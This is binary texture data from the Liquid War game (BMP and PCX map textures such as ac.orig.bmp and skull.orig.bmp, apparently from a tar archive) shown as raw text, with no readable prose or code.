m5!k7#i9%h;'f=)c@,`C/]F2YJ6VM9RQ=NUAJYEF]IBaM>eQ:iU5mZ2p].ta*xe'{h#kpty~}ys!m'{h-ub2p]8jW=fRBaMF]IJYENUARQ=VM9YJ6[H4^E1`C/aB.bA-c@,d?+d?+d?+d?+c@,bA-aB.`C/^E1\G3ZI5WL8UN:XK7[H4]F2`C/c@,e>*g<(h;'i9%j8$j8$k7#k7#j8$i9%i:&g<(e>*c@,`C/]F2ZI5VM9RQ=NUAIZFD_K@cO;hT6lY1q^,vc'{h"lpo n!m"l#k$~j%}i&|i&|i'{h'{h'{h'{h'{h&|i+wd/s`3o\7kX;hT?dPBaME^JH[GKXDMVBOT@QR>SPeQBaME^JH[GKXDNUAQR>TO;WL8YJ6\G3^E1`C/bA-d?+e>*f=)g<(g<(h;'g<(g<(e>*c@,aB._D0\G3]F2^E1`C/aB.bA-bA-c@,c@,bA-bA-aB.`C/^E1\G3YJ6WL8TO;PS?LWCH[GD_K?dP:iU4n[/s`)yf#kqw} zs!m(zg.ta5mZ;hTAbNG\HMVBSP*c@,_D0\G3[H4`C/e>*i9%m5!p2s/u-w+x*x*x*x*v,u-s/q1n4 k7#i:&e>*aB.]F2YJ6UN:PS?KWDG\HF]IF]IF]IG\HG\HG\HG\HF]IF]IE^JD_KC`LBaM@cO>eQQR>QR>QR>PS?NUAMVBKXDH[GF]IC`L@cOUN:YJ6]F2`C/d?+g<(i9%l6"n4 q1s/u-w+x*z({'|&}%~$##"! ! !             "~$|&y)w+s/p2l6"i:&d?+`C/[H4UN:PS?JYED_K>eQ8jW2p],vc&|i%}i'{h(zg)yf*xe*xe+wd+wd*xe*xe)yf(zg&|i%}i$~j&|i)yf+wd.ta/s`1q^2p]3o\4n[5mZ5mZ5mZ4n[3o\2p]1q^0r_.ta,vc*xe(zg&|i$~j!moruwy|~}{xuq n#k&|i*xe-ub0r_3o\6lY9iVeQ@cOBaMD_KE^JF]IG\HH[GH[G"l&|i*xe.ta3o\8jW=fRC`LH[GNUASPMVBIZFE^J@cO*f=)f=)f=)f=)f=)e>*d?+c@,aB._D0]F2[H4XK7VM9YJ6\G3^E1aB.c@,f=)h;'i:&j8$k7#k7#l6"l6"k7#j8$i9%h;'f=)d?+aB.^E1ZI5WL8RQ=NUAIZFE^J@cO;hT6lY1q^,vc'{h"lprqpo n!m"l#k$~j$~j%}i%}i%}i%}i(zg-ub1q^6lY:iU=fRAbND_KG\HJYEMVBOT@QR>SPOT@LWCJYEH[GE^JBaM@cO=fR:iU6lY3o\0r_,vc)yf%}i"lptx||ywtro"l%}i(zg,vc/s`2p]6lY9iV*f=)h;'h;'i:&i:&i:&h;'g<(e>*bA-`C/]F2^E1_D0aB.bA-c@,c@,d?+d?+d?+c@,bA-aB._D0]F2[H4XK7UN:QR>NUAIZFE^J@cO;hT6lY0r_*xe%}iov| {t n'{h.ta4n[;hTAbNG\HMVBSP*i:&k7#m5!o3q1r0r0r0r0q1p2n4 l6"i9%h;'e>*bA-^E1[H4^E1c@,g<(j8$n4 p2s/t.u-v,v,u-t.s/q1o3l6"i9%g<(c@,_D0[H4WL8RQ=NUAIZFE^JD_KE^JE^JE^JE^JE^JD_KD_KC`LBaMAbN@cO>eQQR>QR>QR>PS?OT@MVBKXDIZFF]IC`L@cO=fR9iV5mZ1q^-ub)yf&|i&|i%|i$~j#k"l nprtvy}}{zywusqo%}i*xe/s`4n[9iV>eQC`LH[GLWCPS?UN:YJ6\G3`C/d?+g<(i9%l6"n4 q1s/u-w*y)z(|&}%~$#"! !        "~${'x*u-q1n4 i9%f=)aB.\G3WL8QR>KXDE^J?dP9iV3o\-ub&|i!m#k$~j%}i&|i&|i&|i&|i&|i%}i$~j#k"l!m$~j'{h*xe-ub/s`1q^3o\4n[5mZ6lY6lY6lY6lY5mZ5mZ4n[2p]1q^/s`-ub+wd)yf&|i$~j!moruwz|~}zxuro#k&|i)yf,vc/s`2p]5mZ8jW:iU=fR?dPAbNBaMC`LE^JE^JF]IF]I!m$~j(zg-ub1q^7kXLWCHZGC`L>eQ:iU5mZ1q^,vc(zg$~j nrv{~}wq#k)yf/s`5mZ:iU?dPD_KIZFNUARQ=VM9YJ6\G3_D0aB.c@,e>*f=)g<(h;'h;'h;'h;'g<(g<(e>*d?+bA-aB._D0\G3YJ6WL8ZI5]F2_D0bA-d?+g<(i:&i9%k7#l6"l6"m5!l6"l6"k7#j8$i:&g<(d?+bA-^E1[H4WL8SPSPOT@MVBKXDIZFG\HD_KBaM?dP=fR:iU7kX4n[0r_-ub*xe&|i#korvz~|ywtq n#k&|i)yf,vc0r_3o\7kX:iU=fRAbND_KH[GKXDNUAQR>TO;WL8ZI5\G3_D0aB.c@,e>*g<(h;'i:&i9%i9%i9%i9%i:&h;'f=)c@,aB.^E1_D0`C/bA-c@,d?+e>*e>*e>*e>*d?+c@,bA-`C/^E1\G3YJ6VM9SPeQeQ>eQ?dP?dP>eQ>eQQR>RQ=RQ=QR>PS?OT@MVBLWCIZFG\HD_KAbN=fR:iU6lY2p].ta*xe'{h'{h&|i%}i$~j#k!moqsvy|~|{yxvtro$~j)yf.ta3o\9iV>eQBaMG\HLWCPS?TO;XK7\G3`C/d?+g<(i9%l6"o3q1t.v,x*y){'|&~$#"! !        #}%z(w+s/o3k7#g<(bA-]F2XK7RQ=LWCF]I@cO:iU3o\-ub'{h no n!m!m"l"l"l!m nopp"l&|i)yf,vc.ta1q^3o\4n[5mZ6lY7kX7kX7kX7kX7kX6lY5mZ3o\2p]0r_.ta+wd)yf'{h$~j!moruxz|}{xuro"l%}i(zg+wd.ta1q^4n[6lY9iV;hT=fR?dP@cOBaMC`LC`LD_KD_Ko"l&|i+wd0r_5mZ:iU?dPE^JKXDPS?VM9[H4`C/e>*i9%n4 r0v,z(}%"   "~${'y)w+t.q1n4 k7#i:&k7#m5!o3q1r0t.u-v,v,v,v,u-t.s/q1o3l6"j8$h;'d?+aB.]F2YJ6TO;PS?KXDF]IAbNeQC`LH[GMVBQR>UN:YJ6\G3_D0bA-d?+f=)h;'i:&i9%i9%i9%i9%i9%i:&h;'f=)e>*c@,aB._D0]F2ZI5XJ7[H4]F2`C/c@,e>*g<(i:&j8$k7#l6"m5!m5!m5!m5!l6"j8$i9%h;'e>*bA-_D0[H4WL8SPeQBaME^JIZFLWCNUAQR>SPPS?OT@MVBKXDJYEH[GF]IC`LAbN?dPeQBaME^JIZFLWCOT@RQ=UN:XK7[H4^E1`C/bA-d?+f=)h;'i:&i9%j8$j8$j8$j8$i9%i:&g<(d?+bA-_D0`C/bA-c@,d?+e>*f=)f=)f=)f=)f=)e>*c@,bA-`C/]F2[H4WL8TO;PS?LWCG\HC`L>eQ8jW3o\-ub'{h!msz }vo&|i-ub3o\:iUAbNG\HMVBSP*bA-^E1[H4WL8SPeQ=fRRQ=RQ=RQ=QR>QR>OT@NUALWCJYEG\HE^JAbN>eQ;hT7kX3o\/s`+wd(zg(zg'{h&|i%}i#k"l nprux{}|zywusp#k)yf.ta3o\8jW=fRBaMG\HKXDPS?TO;XK7\G3`C/c@,g<(i9%l6"o3q1t.v,x*z({'}%~$#"!        ! ~${'x*t.p2l6"h;'c@,^E1YJ6SP*bA-_D0[H4WL8SPPS?OT@NUALWCKXDIZFH[GF]ID_KBaM@cO>eQ;hT9iV6lY3o\1q^.ta+wd'{h$~j!mptx{|zwtq n#k&|i*xe-ub1q^4n[8jW;hT?dPC`LF]IIZFMVBPS?SP*g<(i:&i9%j8$k7#k7#k7#k7#j8$i:&g<(e>*bA-`C/aB.c@,d?+f=)f=)g<(h;'h;'g<(g<(f=)e>*c@,aB._D0\G3YJ6UN:QR>MVBIZFD_K?dP9iV4n[.ta(zg"lry ~wp%}i,vc3o\:iUAbNG\HNUATO;YJ6^E1c@,h;'k7#n4 q1s/u-w+w+x*x*w+v,t.r0p2m5!j8$h;'e>*aB.^E1ZI5_D0c@,f=)i:&j8$l6"m5!n4 n4 m5!m5!k7#i9%h;'f=)c@,`C/\G3XK7TO;PS?LWCH[GC`L@cO@cO?dP?dP?dP>eQ=fRRQ=RQ=RQ=RQ=QR>PS?NUAMVBJYEH[GE^JBaM?dP;hT8jW4n[0r_,vc)yf(zg'{h&|i%}i$~j"l!mprtw{~~}|zxvtq#k(zg-ub3o\8jW=fRBaMF]IKXDOT@TO;XK7\G3`C/c@,g<(i9%l6"o3q1t.v,x*z({'}%~$#"!       #|&y)u-q1m5!i:&d?+_D0YJ6SPeQ?dP?dP@cO@cOtp"l&|i+wd0r_5mZ;hT@cOF]ILWCQR>WL8\G3aB.f=)j8$n4 r0v,y)|&#!      ! #|&z(x*u-s/p2n4 k7#h;'i:&k7#m5!p2r0t.u-w+x*x*y)x*x*w+v,t.r0p2m5!j8$h;'d?+`C/\G3WL8RQ=MVBH[GC`L=fR8jW3o\.ta(zg$~josw| ~xq#k)yf/s`5mZ:iU@cOE^JJYEOT@SP*bA-_D0[H4WL8SPeQBaMF]IIZFLWCOT@RQ=TO;VM9WL8XK7YJ6ZI5ZI5[H4[H4ZI5ZI5YJ6YJ6XK7WL8WL8VM9UN:UN:UN:TO;TO;TO;TO;TO;SPQR>PS?PS?OT@NUAMVBLWCKWDJYEH[GG\HE^JD_KBaM@cO>eQTO;WL8ZI5]F2_D0bA-d?+f=)h;'i:&i9%j8$k7#k7#k7#k7#j8$i9%h;'e>*bA-aB.c@,d?+f=)g<(h;'i:&i:&i:&i:&h;'g<(f=)d?+bA-`C/]F2ZI5VM9RQ=NUAJYEE^J@cO:iU5mZ/s`)yf#kqx~ ~wq%}i,vc3o\:iUAbNG\HNUATO;ZI5_D0d?+h;'k7#o3r0u-w+x*y)y)y)y)x*v,t.r0o3l6"i9%g<(c@,`C/\G3\G3`C/d?+f=)i:&i9%k7#k7#k7#k7#j8$i9%h;'f=)c@,`C/]F2ZI5VM9RQ=NUAJYEF]IAbN>eQ>eQ>eQ=fRRQ=SPOT@MVBKXDIZFF]IC`L@cOeQD_KIZFOT@TO;ZI5_D0d?+h;'l6"p2t.w+z(}%#!      ! "~$|&z(w+u-r0p2m5!j8$h;'g<(i9%l6"n4 q1s/u-v,x*y)y)z(y)y)x*w+u-s/p2m5!j8$g<(c@,_D0[H4VM9QR>LWCF]IAbN;hT6lY0r_+wd%}i nrw{ zt n&|i,vc2p]8jW>eQC`LH[GMVBRQ=VM9ZI5^E1aB.d?+f=)i:&i9%k7#l6"m5!m5!m5!m5!l6"k7#j8$i:&h;'f=)d?+bA-`C/]F2ZI5[H4]F2`C/c@,e>*g<(i:&j8$l6"m5!n4 n4 o3n4 n4 m5!k7#i9%h;'e>*bA-_D0[H4WL8RQ=MVBH[GC`L>eQ8jW3o\-ub(zg#kqvz~}|{yxwuo$~j)yf.ta3o\8jWSPQR>QR>PS?PS?OT@OT@NUAMVBMVBLWCKXDJYEIZFH[GG\HF]ID_KC`LAbN@cO>eQTO;WL8ZI5]F2`C/bA-d?+f=)h;'i:&j8$k7#k6#l6"l6"k7#j8$i9%h;'e>*bA-c@,d?+f=)g<(h;'i:&i9%i9%i9%i9%i9%i:&g<(f=)d?+aB.^E1[H4WL8TO;OT@KXDF]IAbN;gT6lY0r_*xe$~jqw} xq$~j+wd3o\:iUAbNG\HNUATO;ZI5`C/e>*i:&l6"p2s/v,x*y)z({'{'z(y)x*v,t.q1n4 k7#i:&e>*bA-^E1ZI5]F2aB.d?+f=)h;'i:&i9%i9%i:&h;'g<(e>*c@,aB.^E1[H4WL8TO;PS?LWCH[GC`L?dP=fRRQ=SPPS?NUALWCJYEG\HD_KAbN>eQ:iU6lY2p].ta*xe)yf(zg'{h&|i%}i#k!moqtwz~ ~}{yvq"l(zg-ub2p]7kX*_D0ZI5TO;NUAG\HAbN:iU3o\-ub&|iou|}}|}}}xso#k'{h+wd.ta1q^3o\6lY8jW9iV:iU;hT;hT;hT;hT:iU9iV8jW7kX5mZ3o\0r_.ta+wd(zg%}i"lorux{} }{xvsp n#k&|i(zg+wd-ub0r_2p]4n[6lY7kX8jW:iU:iU;hT;hT;hTzvr n%}i*xe0r_5mZ;hTAbNF]ILWCQR>WL8\G3aB.f=)i9%m5!q1t.w+z(|&~$#"! ! ! "#~$}%{'y)w+t.r0o3m5!j8$h;'e>*h;'j8$l6"o3r0t.v,w+y)y)z(z(z(y)x*w+u-s/p2m5!i9%g<(c@,^E1YJ6TO;OT@JYED_K>eQ9iV3o\-ub(zg"lqvz~ |vp$~j*xe0r_6lY;hTAbNF]IKXDPS?UN:YJ6]F2`C/c@,f=)h;'i9%k7#l6"m5!n4 n4 n4 m5!l6"k7#j8$i:&h;'f=)d?+aB._D0\G3YJ6[H4^E1aB.c@,f=)h;'i9%k7#l6"m5!n4 o3o3n4 n4 m5!k7#i9%h;'e>*bA-^E1ZI5VM9QR>MVBG\HBaM=fR7kX2p],vc&|i!mrw| }|{xs!m&|i+wd0r_5mZ:iU>eQBaMF]IIZFMVBPS?RQ=TO;VM9XK7YJ6ZI5[H4[H4[H4[H4ZI5ZI5YJ6XK7WL8VM9UN:TO;SPQR>PS?PS?OT@OT@NUANUAMVBMVBLWCKXDKXDJYEIZFH[GG\HF]IE^JD_KC`LBaM@cO?dP=fRUN:XK7[H4]F2`C/bA-d?+f=)h;'i9%j8$k7#k7#k7#k7#k7#j8$i:&g<(e>*c@,d?+f=)h;'i:&i9%j8$j8$k7#k6#k7#j8$i9%i:&g<(e>*bA-_D0\G3YJ6UN:PS?LWCG\HBaM*i9%m5!q1t.w+y){'|&|&|&|&{'z(x*v,s/p2m5!i9%g<(c@,`C/\G3[H4^E1aB.d?+e>*f=)g<(g<(g<(f=)e>*c@,aB.^E1[H4XK7UN:QR>NUAJYEE^JAbN=fR;hT:iU:iU9iV8jW7kX6lY4n[3o\1q^/s`-ub+wd(zg&|i#korvz~  ~}|{{zzz{{|~ ~{xvsqo n"l#k$~j%}i%}i%}i%}i%}i%}i$~j#k"l!moprtvxzywvuutttuvxz{||}}|||{zzyxwvuutsrrqqqqqqrsstuwxy{}  ~~}}}|||}}}}~~~~~~~~~}|{zz{|~ }}|{xso#k'{h+wd/s`2p]6lY9iVSPOT@MVBKXDH[GE^JBaM?dP;hT7kX4n[/s`+wd*xe)yf(zg&|i%}i#k!moqtwz~ ~}zvq"l(zg-ub2p]7kX*_D0ZI5TO;NUAG\HAbN:iU3o\,vc%}iov|  |wr n$~j(zg,vc/s`2p]4n[7kX8jW:iU;hT*e>*h;'j8$m5!p2r0t.v+x*y)z(z({'z(z(x*w+u-r0p2l6"i9%f=)aB.]F2XK7SP*h;'i9%k7#l6"m5!n4 n4 n4 n4 m5!l6"k7#j8$i:&g<(e>*c@,`C/^E1[H4ZI5\G3_D0bA-d?+f=)h;'i9%k7#m5!n4 n4 o3o3n4 n4 l6"k7#i9%g<(d?+aB.]F2YJ6UN:PS?KXDF]IAbN;hT6lY0r_*xe%}ioty~ ~{vp#k(zg-ub2p]7kXSPPS?OT@OT@NUAMVBMVBLWCKXDKXDJYEIZFIZFH[GG\HF]IF]IE^JD_KC`LBaM@cO?dP>eQUN:XK7ZI5]F2`C/bA-d?+f=)h;'i:&i9%j8$k7#k7#k7#j8$i9%i:&g<(d?+e>*f=)h;'i:&j8$k7#k7#l6"l6"l6"l6"k7#j8$i9%h;'f=)c@,aB.]F2ZI5VM9QR>MVBH[GBaM=fR7kX1q^+wd%}iov| yr$~j+wd2p]:iUAbNH[GNUAUN:[H4aB.f=)j8$n4 r0u-x*z(|&}%~$~$}%|&{'y)w+t.r0n4 k7#h;'e>*aB.]F2ZI5\G3_D0aB.c@,d?+e>*e>*d?+c@,bA-`C/^E1\G3YJ6VM9SPeQAbND_KF]IH[GIZFJYEKXDLWCLWCKXDKXDIZFH[GF]IIZFLWCNUAQR>RQ=TO;UN:UN:UN:UN:UN:TO;RQ=QR>OT@LWCJYEG\HD_K@cO=fR9iV5mZ1q^-ub*xe)yf(zg&|i%}i#k!moqtwz~ ~{vq"l(zg-ub2p]7kX*h;'j8$m5!o3r0t.v,x*y){'|&}%~$#"!     "}%z(v,r0m5!i9%e>*_D0YJ6SP*bA-e>*h;'j8$m5!p2r0u-w+x*y)z({'{'z(y)x*v,t.r0o3k7#i:&e>*`C/[H4VM9QR>KXDE^J@cO:iU4n[.ta(zg"lrw|  {uo%}i+wd1q^6lYUN:YJ6]F2aB.d?+f=)i:&j8$l6"m5!n4 n4 n4 n4 n4 m5!l6"j8$i9%h;'f=)d?+aB._D0]F2ZI5[H4]F2`C/bA-e>*g<(i:&j8$k7#m5!n4 n4 o3o3n4 m5!l6"j8$i:&f=)c@,`C/\G3XK7TO;OT@JYEE^J?dP:iU4n[.ta(zg#kqv{  ~ys n%}i+wd0r_5mZ9iV>eQBaMF]IJYEMVBPS?RQ=UN:WL8XK7YJ6ZI5[H4[H4[H4[H4ZI5ZI5YJ6WL8VM9UN:SPOT@NUAMVBMVBLWCKXDJYEIZFIZFH[GG\HF]IF]IE^JD_KC`LBaMAbN@cO?dP>eQTO;WL8ZI5]F2_D0bA-d?+f=)g<(i:&i9%j8$j8$j8$j8$j8$i:&h;'f=)e>*g<(h;'i9%j8$k7#l6"m5!n4 n4 n4 n4 m5!l6"j8$i:&g<(e>*bA-^E1[H4VM9RQ=MVBH[GC`L=fR8jW2p]+wd%}iou| yr#k+wd2p]:iUAbNH[GOT@UN:[H4aB.f=)j8$o3s/v,y){'}%~$###~$|&{'x*v,s/p2l6"i9%f=)bA-^E1[H4ZI5]F2_D0aB.bA-bA-bA-bA-aB.`C/^E1\G3YJ6WL8TO;PS?MVBIZFE^JAbN=fR9iV8jW7kX6lY4n[3o\2p]0r_/s`-ub+wd)yf'{h$~j!mpsvz~   ~~~  }{xvtrqo n n!m!m!m!m!m nopqrtuwy{}~}||||}~ }{yxvtsrqpoo n nooopqrtvwy|~  ~~~~~   ~}|{zywso#k'{h+wd/s`3o\7kX:iU=fR@cOC`LF]IH[GJYEKXDLWCMVBNUANUAMVBMVBKXDJYEG\HJYEMVBPS?RQ=TO;UN:VM9WL8WL8WL8VM9UN:TO;RQ=PS?NUAKXDH[GE^JBaM>eQ;hT7kX3o\/s`+wd)yf'{h&|i$~j#k!morux{  {vp#k(zg-ub2p]7kX*i:&k7#n4 q1s/u-w+x*x*x*x*x*w+v,t.r0p2n4 k7#i9%g<(d?+bA-bA-e>*i:&k7#m5!p2s/u-w+x*y)z(z(z(z(y)w+v,s/q1n4 j8$g<(c@,^E1YJ6TO;OT@IZFC`L=fR7kX1q^+wd$~jou{  }xr"l(zg.ta4n[9iV?dPD_KIZFNUASP*h;'i9%k7#l6"m5!n4 n4 n4 n4 m5!l6"k7#i9%i:&g<(d?+bA-`C/]F2[H4YJ6\G3^E1aB.c@,e>*g<(i:&j8$l6"m5!n4 n4 o3n4 n4 m5!k7#i9%h;'e>*bA-_D0[H4WL8RQ=MVBH[GC`L=fR7kX2p],vc&|i nsy~  {vq#k(zg-ub2p]7kXTO;VM9XK7YJ6ZI5[H4[H4[H4[H4[H4ZI5YJ6XK7VM9UN:SP*f=)h;'i:&i9%i9%i9%i9%i:&h;'f=)f=)g<(i:&i9%k7#l6"m5!n4 o3p2p2p2o3n4 m5!l6"j8$h:'f=)c@,_D0[H4WL8SPeQ8jW2p],vc&|iou| yr#k+wd2p]:iUAbNH[GOT@UN:\G3aB.g<(k7#o3s/w+z(|&~$#"""#}%|&y)w+t.q1m5!j8$g<(c@,_D0[H4XK7[H4]F2^E1_D0`C/`C/`C/_D0^E1\G3ZI5WL8UN:QR>NUAKXDG\HC`L?dP;hT7kX6lY5mZ3o\2p]1q^/s`.ta,vc*xe(zg&|i#k!mpsvz}  ~~~~ ~}}|||}}~  }zxvtsqpooo nooopqrsuvxz|~   ~|zxwutrqpo n n!m!m n n noprsuwy{}    ~}{zyxwtp"l&|i*xe.ta2p]6lY9iV=fR@cOC`LE^JH[GJYELWCMVBNUAOT@PS?PS?OT@NUAMVBKXDIZFKXDNUAQR>SPeQC`LIZFNUATO;XK7]F2aB.e>*i:&k7#n4 p2r0s/t.u-u-u-u-t.s/q1o3m5!k7#i9%g<(d?+bA-_D0bA-e>*h;'j8$m5!p2r0t.v,x*y)y)z(z(y)x*v,u-r0o3l6"i9%f=)aB.\G3WL8RQ=LWCF]I@cO:iU4n[.ta(zg!msx~  zto%}i+wd1q^6lY*c@,`C/^E1[H4YJ6[H4]F2_D0aB.d?+f=)h;'i9%j8$l6"m5!n4 n4 n4 n4 m5!l6"j8$i:&g<(d?+aB.]F2YJ6UN:PS?KXDF]I@cO;hT5mZ/s`)yf#kqv|  }xs n&|i+wd0r_5mZ9iV>eQBaMF]IJYEMVBPS?SPeQAbND_KF]IIZFLWCOT@SP*f<)g<(h;'h;'i:&h;'h;'f=)g<(h;'i9%j8$l6"m5!n4 p2p2q1q1q1q1q1p2n4 m5!k7#i:&g<(d?+`C/\G3XK7SPeQ8jW2p],vc&|iou| yr#k+wd2p]:iUAbNH[GOT@VM9\G3bA-g<(k7#p2t.w+z(}%#"! ! ""~$|&z(x*u-q1n4 j8$g<(d?+`C/\G3XK7YJ6[H4]F2^E1^E1^E1^E1]F2[H4ZI5XK7UN:RQ=OT@LWCIZFE^JAbN=fR9iV5mZ4n[3o\1q^0r_/s`-ub+vd)yf'{h%}i#k npsvy}  ~|{{zz{{|}~ ~}|{{zzz{{|~  |zxvtsrqpppppqqrsuvwy{|~   }{zxvtsqpo n!m!m!m"l!m!m n noqrtvxz|    ~}{zyxwuq!m%}i)yf-ub1q^5mZ8jWQR>QR>QR>PS?OT@MVBKXDMVBPS?SPOT@LWCIZFF]IC`L?dP;hT7kX3o\/s`+wd'{h%}i#k!moqsvy}  ~yto$~j)yf.ta3o\8jW*h;'j8$l6"n4 p2r0s/u-v,w+x*y)z({'|&|&}%~$#"!      "}%{'w+t.p2l6"h;'c@,]F2XK7RQ=LWCE^J?dP8jW1q^*xe#krx ~yto#k'{h+wd.ta1q^4n[6lY8jW:iU;hT;hT*h;'j8$l6"n4 p2q1r0r0r0r0q1p2n4 l6"j8$i:&g<(d?+bA-_D0^E1aB.e>*h;'j8$m5!o3r0t.u-w+x*x*y)x*x*w+u-s/q1n4 j8$h;'c@,_D0ZI5UN:OT@JYED_K>eQ7kX1q^+wd$~jpv|  |wq"l(zg.ta4n[9iV>eQD_KIZFMVBRQ=VM9ZI5^E1aB.d?+f=)i:&i9%k7#l6"m5!m5!m5!l6"l6"k7#i9%i:&g<(e>*c@,`C/^E1[H4YJ6ZI5\G3^E1`C/bA-d?+f=)h;'i9%k7#l6"m5!n4 n4 n4 m5!l6"k7#i9%h;'f=)c@,_D0[H4WL8SPeQ8jW2p],vc&|i ntz  zup#k)yf.ta3o\7kXTO;VM9XK7YJ6ZI5[H4[H4[H4[H4ZI5ZI5XK7WL8VM9TO;RQ=PS?NUAMVBKXDIZFH[GG\HIZFJYEKXDKXDKXDKXDKXDJYEJYEIZFG\HF]ID_KBaM@cO>eQSP*f=)f=)g<(g<(f=)g<(h;'i9%j8$k7#m5!n4 p2q1r0s/s/s/s/s/r0q1p2n4 l6"j8$h;'d?+aB.]F2YJ6TO;OT@JYED_K>eQ8jW2p],vc&|iou| yr$~j+wd3o\:iUBaMIZFPS?VM9\G3bA-h;'l6"p2t.x*{'}%#"! ! ! "#}%{'x*u-r0n4 k7#h;'d?+`C/\G3XK7WL8YJ6[H4\G3\G3\G3\G3[H4ZI5XK7VM9SPMVBJYEG\HC`L?dP;hT7kX3o\2p]1q^/s`.ta,vc+wd)yf'{h%}i#k npsvy|  ~|zyxwwwwxxyz|}~ ~}{{zyyyyyz{|~  }|{ywvtsrrqqqqrrstuwxz{}  }{ywutrqp n!m!m"l"l"l"l"l!m!m npqsuwy{~ ~}}}}~~   }|zyxwuq n$~j(zg,vc0r_4n[7kX;hT>eQBaME^JG\HJYELWCNUAPS?QR>RQ=SPPS?NUALWCOT@RQ=UN:WL8YJ6ZI5[H4\G3\G3\G3[H4[H4YJ6XK7VM9TO;QR>NUAKXDH[GE^JAbN=fR:iU6lY1q^-ub)yf%}i"l npruwz~  }xs n%}i*xe/s`4n[8jW=fRAbNF]IJYENUAQR>UN:XK7\G3_D0bA-d?+g<(i:&j8$l6"n4 p2q1r0t.u-w+y)z({'|&|&{'|&}%~$#"!         "~$|&y)v,s/o3j8$g<(bA-\G3WL8QR>KXDE^J>eQ7kX0r_*xe#kry ~xso$~j(zg+wd/s`1q^4n[6lY8jW9iV:iU;hT;hT;hT:iU9iV8jW6lY4n[2p]/s`,vc)yf&|i#korvy}  }zxusq n"l$~j&|i'{h)yf*xe+wd,vc,vc,vc,vcliquidwar-5.6.5/data/maptex/ac.orig.bmp0000664000372000037200000045237013407756104017405 0ustar travistravisBMT(h  ΩDͩŦ̪ȫ_rp=VT>,+- &dbUk¾5IH76                                                                                                                                                                                                                                                                                                                                                                                               liquidwar-5.6.5/data/maptex/lost.orig.bmp0000664000372000037200000020537413407756104020003 0ustar travistravisBM (``!!-)-'PMb^' <9w2'I#s]|;'4"3D': n'FeZyM'}9YV'nֺ>?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  t                         \K                                         .                     ̏                 []s             9h          j       e        o    d        4 1 %|G @׻m\oliquidwar-5.6.5/data/maptex/skull.orig.bmp0000664000372000037200000020537413407756104020154 0ustar travistravisBM (!! q}_lr cougsykw}XelOZ`]hnU`gHRYAJP9AG+1618> $).#' !                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              liquidwar-5.6.5/data/maptex/lwtabmic.orig.pcx0000664000372000037200000002420213407756104020625 0ustar travistravis _,,*)*)()()()()()('('('('('('&'&'&'&'&%&%&%&%&%&%$%$%$%$%$#$#$#$#$#$#"#"#"#"#"!"!"!"!"! ! ! ! ! ! )?>=>=<=<;<;:;:;:;:;:;:;<;<;<=>=>=>?> *>?>?>?>=>=>=>=><=<=<=<=<;<;<;<;<;:;:;:;:;:;:;:;:;:9:;:;:;:;:;:;:;:;:;<;<;<;<;<=<=<=<=>=>=> (.?>? )?> '.>=<=<;:;:;:;:;:;<;<=<=> $'+/> *>?>? $'+.>=>=<=<=<=<;<;<;<;<;:;:;:;:;:;:9:9:9:9:9:9:9:9:9: %)/:;:;:;:;:;:;<;<;<;<;<=<=<=<=> #%(*-/? *?> #%(*,/=<=<;<;:;:9:9:9:9:9:9:9:9 "%'*,/:;: "$%()+-/<=<=<= "%'*,/>!*>?> "%'*,/=<=<=<=<=<;<;<;:;:;:;:;:9:9:9:9:9:9:9:9:9:9:9:9 "%'*,/9:9:9:9:;:;: !"#%')+,-/;<=<=<=<= #%(*-.> *> #%(*-/=< $'+/;:;:9:9:9:9 %*/9 $(+/9:9:9:9: !"#$%&'()*+,-./<=<= $'+/> *> $'+.=<=<=<=< #%(*-.;:;:; ;:9:9:9:9:9:9:9 $'+.9 (.9:9:9:9:9:9:9 "#$&')*+-./<=<=<= (.>=> *> '/=< "$%()+-/;:;: %*/:9:9:9 #&),/9 '/9:9 !"#$%&'()*+,-./<=<=<=>=>!*=>=>=>=><=<=<=<= "#%&()+./;:;:;: #&(,/:9:9:9:9:989 %)/89898989898 .98989: !"#$%&')()+*,-,./<=<=<=<=>=> *>=>=< !#$%'(*+,-/:;: "$&)+-/:9 '/898989898989898989 !"#$%&'()*+,-./<=>=!*=>=>=>=<=<=< "$%')*,./;:;: "#&'*+-/:989898989 (.9898989898989898989898989 !"!#"$#%$&%&'()*+,-./<=<=<=> *>=>=<=< !"#$&'()+-./: !$%'(*,-/9898 .8 '/8989 !"#$%&'()*+,-./<=<=!+=>=>=<=<=<= !"$&(*,./;: "#%&()+,./9898989898987878 (.89898 !"#$%$&%'&'()*+,+-.-./;<=<=<=!*>=<=< !"$&'()+-./:9 !#$&'()+,./98 %*/8 !"#%&'()*,-./: !"$&'()+-./<=<=!+=>=<=<=<= "$%'(*-/:;:;:9:9:9: "#%&()+,./98787878787878 %)/78787878789898 !$%(),-/9:9:9:9: !#%&(*+-/<=<=<=!*=<=< "#$%'(*+,./:;:9:9 "$&')+-/878787 $'+/787878989 9:; "#%&')+,./<=!+=<=<=< !#$&')*,-/:;:;9:9:9:9:98 "$%(),-/87878787878787 #(+/78787878787878789898989:9:9:9:; "#%&)*,-/;<=<=!*=< !#$&')*,-/:;:9:98 "$&)+-/87878787 $'+/7878789:9:; "$&')+-/<=!+=<=<=< "#%&)*,-/:;:;:9:9:9:98989898 "%&)*-.8787878767878 .787878789898989:9:9:9: "%'*,/;<;<;<=<=!+=< "#%&()+,./;:9:9898 "$'(+-/7 $'+/78789:9: %*/;FP $),2;&+20:J  "4&                                                                                                                                                                                                                                                                                    